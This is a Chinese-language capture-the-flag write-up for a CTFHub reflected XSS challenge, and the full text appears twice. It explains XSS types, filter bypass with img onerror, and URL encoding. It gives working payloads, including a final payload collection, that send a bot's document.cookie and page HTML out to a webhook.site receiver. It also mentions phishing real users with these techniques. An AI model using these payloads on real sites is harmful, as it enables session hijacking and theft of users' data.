CTFHub 反射型 XSS 实战攻略博客版题目类型反射型 XSSReflected XSS目标让题目的 Bot模拟管理员访问带 XSS 的链接把它 Cookie 里的 flag 外带到你能看到的地方整理时间2026-08-12先说清楚这道题在干嘛。它不像 SQL 注入那样直接炸数据库而是借别人的浏览器执行一段 JS。flag 不在页面里、也不在你自己的 Cookie 里它在题目 Bot 的 Cookie 里。你能做的是构造一个链接让 Bot 点开Bot 的浏览器替你跑一段脚本把它的 Cookie 发到你的接收服务器然后你去接收服务器上看。下面先把原理铺开再走流程。一、先把概念立住反射型 XSS 到底是个啥1.1 XSS 三兄弟XSSCross-Site Scripting跨站脚本的本质就一句往网页里塞进一段恶意脚本让这段脚本在别人的浏览器里执行。按 payload 怎么进页面分三类反射型你提交的数据通常在 URL 参数里被服务器原样反射回当前响应页面不存储。必须诱导受害者自己点开那个带 payload 的链接才会触发。存储型payload 被存进数据库留言、评论、昵称之后任何访问该页面的用户都会中招。一次注入、持续生效危害最大。DOM 型payload 压根不经过服务器处理是前端 JS 自己把location.hash、document.URL之类拼进 DOM 时出的问题。这道题是反射型你的name参数被服务器回显到页面你访问?namescript...时那段脚本就出现在返回的 HTML 里。1.2 为什么叫反射你输什么服务器就把什么原样弹回页面给你像镜子反射一样不落库。所以反射型有两个硬约束第一payload 在 URL 里谁点这个 URL 谁中招第二它不持久Bot 点一次只触发一次。1.3 为什么要有 Bot为什么要盯着 Cookie正常你想偷自己浏览器的 Cookie按 F12 看 Application 就行了用不着 XSS。这题的关键矛盾是flag 在 Bot 的 Cookie 里不在你的 Cookie 里。题目模拟的是管理员 Bot它带着含 flag 的会话 Cookie 去访问页面。你自己的访问服务器给你的 Cookie 里没有 flag。所以你没法直接看只能想办法让 Bot 的浏览器替你把它的 Cookie 发出来——这就是 XSS 的价值脚本是在 Bot 的浏览器上下文里跑的document.cookie读到的就是 Bot 的 Cookie。1.4 数据外带OOB的基本思路脚本在 Bot 浏览器里跑结果不会显示在你的屏幕上。要让数据到你手里得把它发到一个你控制的外部服务器带外通信Out-Of-Band。webhook.site就是个临时收件箱它给你一个专属 URL任何发往这个 URL 的 HTTP 请求都会显示在那个网页上。所以我们让 Bot 的脚本把 Cookie 拼进请求发到 webhook.site再去网页上看。二、解题全流程2.1 确认靶场在线拿到题目 URL形如http://challenge-xxxxx.sandbox.ctfhub.com:10800能打开就说明靶场活着。2.2 先验证漏洞alert(1)浏览器直接访问http://靶场URL/?namescriptalert(1)/script如果页面弹出1说明你输入的内容被原样塞进 HTML 并执行了XSS 成立。这步只是验证能注入后面换成真正外带 Cookie 的 payload。2.3 准备接收端打开 https://webhook.site它会给你一个专属 URLhttps://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx别关这个页面。后面 Bot 触发 XSS 后请求会出现在这里需要回来刷新看。2.4 构造攻击 payload最稳的外带公式靶场URL/?nameimg srcx onerrorlocationhttps://webhook.site/你的ID?cdocument.cookie拆开看这段 JS 在干啥img srcx故意给一个不存在的图片地址x不是合法图片加载必然失败。onerror...图片加载失败时触发里面是要执行的 JS。locationhttps://webhook.site/你的ID?cdocument.cookie让 Bot 的浏览器跳转到你的 webhook并把document.cookieBot 的 Cookie拼到?c后面。2.5 URL 编码最容易翻车的一步把上面那段 payload 里的特殊字符全部做 URL 编码最终粘进「Send URL to Bot」的是编码后的样子?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E编码不是形式主义下面第三节专门讲为什么。先记住只要 payload 带 HTML 标签或引号就必须编码编码工具用 https://www.urlencoder.org/。2.6 发给 Bot把编码后的完整 URL 填进「Send URL to Bot」输入框。点Send。页面显示Successfully——注意这只代表 URL 已经提交进 Bot 队列不代表 XSS 执行成功了。如果 webhook 没收到问题在 payload 本身不是没点到。2.7 收 flag回到 webhook.site刷新收件箱找到 Bot 发来的 GET 请求在 Query strings 里看c参数c flagctfhub{xxxxxxxxxxxxxxxxxxxxxxxx}三、原理深挖3.1 为什么用img onerror而不是script“script 执行太早、Cookie 还没设置”这个说法其实不准。在 Bot 场景里flag Cookie 是 Bot 登录时就设好的比访问你的链接早得多——所以不管 script 还是 img onerror跑起来的时候 Cookie 都已经在位了。真正的可靠原因有三条绕过过滤器script是最容易被拦的模式。很多基础的 XSS 防护、WAF、 sanitizer 第一刀就砍script标签。而img onerror用的是 HTML 标签里的事件处理属性属于另一类注入点naive 过滤器常常只堵 script 不堵事件处理器。触发稳定srcx注定加载失败onerror在元素一解析完就立刻触发时机非常确定。外带方式稳用location直接跳转到 webhook比fetch省事——不用管 CORS、不用管混合内容、在某些 CSP 限制下也更难被拦。所以选img onerror不是因为早不早是因为它更不容易被过滤、触发更稳、外带更简单。3.2 location 外带 vs fetch 外带location 跳转上面用的最省事把数据塞进跳转目标的 URL 查询参数里webhook 收到一个 GET 请求就能看到。缺点是 Bot 会真的跳走不过 CTF 里无所谓。fetch 外带fetch(https://webhook.site/xxx?htmlencodeURIComponent(document.documentElement.innerHTML))适合不想跳转、或者要发很长的正文比如整页 HTML的场景。代价是要考虑 CORS 和 CSP。短数据Cookie用 location 最干净长数据整页源码用 fetch encodeURIComponent。3.3 URL 编码到底在防什么很多人把编码当仪式其实它防的是两类字符在 URL 解析时被误读必须编码成%26在 URL 里是参数分隔符。你的 payload 里一旦有裸比如后面追加u带当前 URL 时Bot 的 URL 解析器会把 payload 切成好几段name参数直接被截断JS 全碎。这是头号杀手。必须编码成%2BURL 里会被解码成空格。你的 JS 里用做字符串拼接...?cdocument.cookie如果裸着发服务器把变成空格JS 变成location...?c document.cookie语法直接报错。所以必编码。空格这几个本身不破坏 URL 解析但编码了能避免回显到 HTML 时的各种边界情况也防中间代理/WAF 顺手改坏。属于编了更稳的保险项。一句话和是真正会拧断 payload 的空格是编码了更稳。编码一层就够了别套多层——服务器和浏览器只会解码一次套多了反而对不上。3.4 如果document.cookie读不到怎么办这里有个坑document.cookie只能读到没有 HttpOnly 标记的 Cookie。如果题目把 flag Cookie 设了 HttpOnlyJS 读不到只有浏览器发请求时自动带那document.cookie会返回空。这题能读到说明 flag Cookie 没上 HttpOnly。万一真遇到 HttpOnlycookie 外带这条路就断了得换思路既然 JS 读不到 Cookie但可以操作页面那就让 Bot 用它的身份去发请求比如用 fetch 以 Bot 的身份访问某个内部接口再把返回内容外带或者读document.documentElement.innerHTML找页面里泄露的信息。CTFHub 这题不需要但真实渗透里这是常见拐点。四、实战中什么时候该想到这套打法按信号强弱分三档最强信号题目明说get the bot’s cookie“XSS”“Send URL to Bot”。→ 反射型 webhook 外带照流程走。中等信号你发现某个参数搜索框、?name、?q、?id输入什么页面就原样显示什么且显示位置在 HTML 标签之间。→ 先试scriptalert(1)/script弹窗就确认可注入。场景信号真实渗透要偷登录用户 Cookie 用存储型更狠一次注入持久生效反射型得钓鱼诱导点链接单次性DOM 型去看前端 JS 怎么处理location.hash之类。CTF 里用 Bot 代替被钓鱼的受害者省掉社工环节。核心判断只要用户输入被回显进 HTML且flag/目标在另一个身份的浏览器里就往 XSS 外带方向想。五、常见失败排查现象原因解决webhook 完全没请求payload 没编码XSS 没执行先完整 URL 编码再发收到请求但 cookie 为空用了script被过滤或 Cookie 是 HttpOnly换img onerror确认 Cookie 非 HttpOnly收到请求但参数断裂或没编码payload 被截断重点编码→%26、→%2B显示 Successfully 但 webhook 空只代表提交成功XSS 实际没跑起来检查 payload 完整性和编码换 XSS 平台收不到平台域名被墙或过滤改用 webhook.site六、核心要点速记反射型 payload 在 URL、不存储、需诱导触发Bot 代替被钓鱼的受害者。flag 在 Bot 的 Cookie 里得借 Bot 的浏览器外带不是看自己的。最稳公式img srcx onerrorlocationwebhook?cdocument.cookie靠事件处理器绕过 script 过滤。URL 编码必做和是真杀手其余编码了更稳只编一层。document.cookie读不到就查 HttpOnly必要时改用 fetch 以 Bot 身份打内部接口。七、参考 Payload 合集外带 Cookie最常用?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E外带 Cookie 当前 URL?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%2B%27%26u%3D%27%2Blocation.href%22%3E外带完整页面 HTML用 fetch长数据必须 encodeURIComponent?name%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fhtml%3D%27%2BencodeURIComponent%28document.documentElement.innerHTML%29%29%22%3E CTFHub XSS反射型实战攻略
CTFHub 反射型 XSS 实战攻略博客版题目类型反射型 XSSReflected XSS目标让题目的 Bot模拟管理员访问带 XSS 的链接把它 Cookie 里的 flag 外带到你能看到的地方整理时间2026-08-12先说清楚这道题在干嘛。它不像 SQL 注入那样直接炸数据库而是借别人的浏览器执行一段 JS。flag 不在页面里、也不在你自己的 Cookie 里它在题目 Bot 的 Cookie 里。你能做的是构造一个链接让 Bot 点开Bot 的浏览器替你跑一段脚本把它的 Cookie 发到你的接收服务器然后你去接收服务器上看。下面先把原理铺开再走流程。一、先把概念立住反射型 XSS 到底是个啥1.1 XSS 三兄弟XSSCross-Site Scripting跨站脚本的本质就一句往网页里塞进一段恶意脚本让这段脚本在别人的浏览器里执行。按 payload 怎么进页面分三类反射型你提交的数据通常在 URL 参数里被服务器原样反射回当前响应页面不存储。必须诱导受害者自己点开那个带 payload 的链接才会触发。存储型payload 被存进数据库留言、评论、昵称之后任何访问该页面的用户都会中招。一次注入、持续生效危害最大。DOM 型payload 压根不经过服务器处理是前端 JS 自己把location.hash、document.URL之类拼进 DOM 时出的问题。这道题是反射型你的name参数被服务器回显到页面你访问?namescript...时那段脚本就出现在返回的 HTML 里。1.2 为什么叫反射你输什么服务器就把什么原样弹回页面给你像镜子反射一样不落库。所以反射型有两个硬约束第一payload 在 URL 里谁点这个 URL 谁中招第二它不持久Bot 点一次只触发一次。1.3 为什么要有 Bot为什么要盯着 Cookie正常你想偷自己浏览器的 Cookie按 F12 看 Application 就行了用不着 XSS。这题的关键矛盾是flag 在 Bot 的 Cookie 里不在你的 Cookie 里。题目模拟的是管理员 Bot它带着含 flag 的会话 Cookie 去访问页面。你自己的访问服务器给你的 Cookie 里没有 flag。所以你没法直接看只能想办法让 Bot 的浏览器替你把它的 Cookie 发出来——这就是 XSS 的价值脚本是在 Bot 的浏览器上下文里跑的document.cookie读到的就是 Bot 的 Cookie。1.4 数据外带OOB的基本思路脚本在 Bot 浏览器里跑结果不会显示在你的屏幕上。要让数据到你手里得把它发到一个你控制的外部服务器带外通信Out-Of-Band。webhook.site就是个临时收件箱它给你一个专属 URL任何发往这个 URL 的 HTTP 请求都会显示在那个网页上。所以我们让 Bot 的脚本把 Cookie 拼进请求发到 webhook.site再去网页上看。二、解题全流程2.1 确认靶场在线拿到题目 URL形如http://challenge-xxxxx.sandbox.ctfhub.com:10800能打开就说明靶场活着。2.2 先验证漏洞alert(1)浏览器直接访问http://靶场URL/?namescriptalert(1)/script如果页面弹出1说明你输入的内容被原样塞进 HTML 并执行了XSS 成立。这步只是验证能注入后面换成真正外带 Cookie 的 payload。2.3 准备接收端打开 https://webhook.site它会给你一个专属 URLhttps://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx别关这个页面。后面 Bot 触发 XSS 后请求会出现在这里需要回来刷新看。2.4 构造攻击 payload最稳的外带公式靶场URL/?nameimg srcx onerrorlocationhttps://webhook.site/你的ID?cdocument.cookie拆开看这段 JS 在干啥img srcx故意给一个不存在的图片地址x不是合法图片加载必然失败。onerror...图片加载失败时触发里面是要执行的 JS。locationhttps://webhook.site/你的ID?cdocument.cookie让 Bot 的浏览器跳转到你的 webhook并把document.cookieBot 的 Cookie拼到?c后面。2.5 URL 编码最容易翻车的一步把上面那段 payload 里的特殊字符全部做 URL 编码最终粘进「Send URL to Bot」的是编码后的样子?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E编码不是形式主义下面第三节专门讲为什么。先记住只要 payload 带 HTML 标签或引号就必须编码编码工具用 https://www.urlencoder.org/。2.6 发给 Bot把编码后的完整 URL 填进「Send URL to Bot」输入框。点Send。页面显示Successfully——注意这只代表 URL 已经提交进 Bot 队列不代表 XSS 执行成功了。如果 webhook 没收到问题在 payload 本身不是没点到。2.7 收 flag回到 webhook.site刷新收件箱找到 Bot 发来的 GET 请求在 Query strings 里看c参数c flagctfhub{xxxxxxxxxxxxxxxxxxxxxxxx}三、原理深挖3.1 为什么用img onerror而不是script“script 执行太早、Cookie 还没设置”这个说法其实不准。在 Bot 场景里flag Cookie 是 Bot 登录时就设好的比访问你的链接早得多——所以不管 script 还是 img onerror跑起来的时候 Cookie 都已经在位了。真正的可靠原因有三条绕过过滤器script是最容易被拦的模式。很多基础的 XSS 防护、WAF、 sanitizer 第一刀就砍script标签。而img onerror用的是 HTML 标签里的事件处理属性属于另一类注入点naive 过滤器常常只堵 script 不堵事件处理器。触发稳定srcx注定加载失败onerror在元素一解析完就立刻触发时机非常确定。外带方式稳用location直接跳转到 webhook比fetch省事——不用管 CORS、不用管混合内容、在某些 CSP 限制下也更难被拦。所以选img onerror不是因为早不早是因为它更不容易被过滤、触发更稳、外带更简单。3.2 location 外带 vs fetch 外带location 跳转上面用的最省事把数据塞进跳转目标的 URL 查询参数里webhook 收到一个 GET 请求就能看到。缺点是 Bot 会真的跳走不过 CTF 里无所谓。fetch 外带fetch(https://webhook.site/xxx?htmlencodeURIComponent(document.documentElement.innerHTML))适合不想跳转、或者要发很长的正文比如整页 HTML的场景。代价是要考虑 CORS 和 CSP。短数据Cookie用 location 最干净长数据整页源码用 fetch encodeURIComponent。3.3 URL 编码到底在防什么很多人把编码当仪式其实它防的是两类字符在 URL 解析时被误读必须编码成%26在 URL 里是参数分隔符。你的 payload 里一旦有裸比如后面追加u带当前 URL 时Bot 的 URL 解析器会把 payload 切成好几段name参数直接被截断JS 全碎。这是头号杀手。必须编码成%2BURL 里会被解码成空格。你的 JS 里用做字符串拼接...?cdocument.cookie如果裸着发服务器把变成空格JS 变成location...?c document.cookie语法直接报错。所以必编码。空格这几个本身不破坏 URL 解析但编码了能避免回显到 HTML 时的各种边界情况也防中间代理/WAF 顺手改坏。属于编了更稳的保险项。一句话和是真正会拧断 payload 的空格是编码了更稳。编码一层就够了别套多层——服务器和浏览器只会解码一次套多了反而对不上。3.4 如果document.cookie读不到怎么办这里有个坑document.cookie只能读到没有 HttpOnly 标记的 Cookie。如果题目把 flag Cookie 设了 HttpOnlyJS 读不到只有浏览器发请求时自动带那document.cookie会返回空。这题能读到说明 flag Cookie 没上 HttpOnly。万一真遇到 HttpOnlycookie 外带这条路就断了得换思路既然 JS 读不到 Cookie但可以操作页面那就让 Bot 用它的身份去发请求比如用 fetch 以 Bot 的身份访问某个内部接口再把返回内容外带或者读document.documentElement.innerHTML找页面里泄露的信息。CTFHub 这题不需要但真实渗透里这是常见拐点。四、实战中什么时候该想到这套打法按信号强弱分三档最强信号题目明说get the bot’s cookie“XSS”“Send URL to Bot”。→ 反射型 webhook 外带照流程走。中等信号你发现某个参数搜索框、?name、?q、?id输入什么页面就原样显示什么且显示位置在 HTML 标签之间。→ 先试scriptalert(1)/script弹窗就确认可注入。场景信号真实渗透要偷登录用户 Cookie 用存储型更狠一次注入持久生效反射型得钓鱼诱导点链接单次性DOM 型去看前端 JS 怎么处理location.hash之类。CTF 里用 Bot 代替被钓鱼的受害者省掉社工环节。核心判断只要用户输入被回显进 HTML且flag/目标在另一个身份的浏览器里就往 XSS 外带方向想。五、常见失败排查现象原因解决webhook 完全没请求payload 没编码XSS 没执行先完整 URL 编码再发收到请求但 cookie 为空用了script被过滤或 Cookie 是 HttpOnly换img onerror确认 Cookie 非 HttpOnly收到请求但参数断裂或没编码payload 被截断重点编码→%26、→%2B显示 Successfully 但 webhook 空只代表提交成功XSS 实际没跑起来检查 payload 完整性和编码换 XSS 平台收不到平台域名被墙或过滤改用 webhook.site六、核心要点速记反射型 payload 在 URL、不存储、需诱导触发Bot 代替被钓鱼的受害者。flag 在 Bot 的 Cookie 里得借 Bot 的浏览器外带不是看自己的。最稳公式img srcx onerrorlocationwebhook?cdocument.cookie靠事件处理器绕过 script 过滤。URL 编码必做和是真杀手其余编码了更稳只编一层。document.cookie读不到就查 HttpOnly必要时改用 fetch 以 Bot 身份打内部接口。七、参考 Payload 合集外带 Cookie最常用?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E外带 Cookie 当前 URL?name%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%2B%27%26u%3D%27%2Blocation.href%22%3E外带完整页面 HTML用 fetch长数据必须 encodeURIComponent?name%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fhtml%3D%27%2BencodeURIComponent%28document.documentElement.innerHTML%29%29%22%3E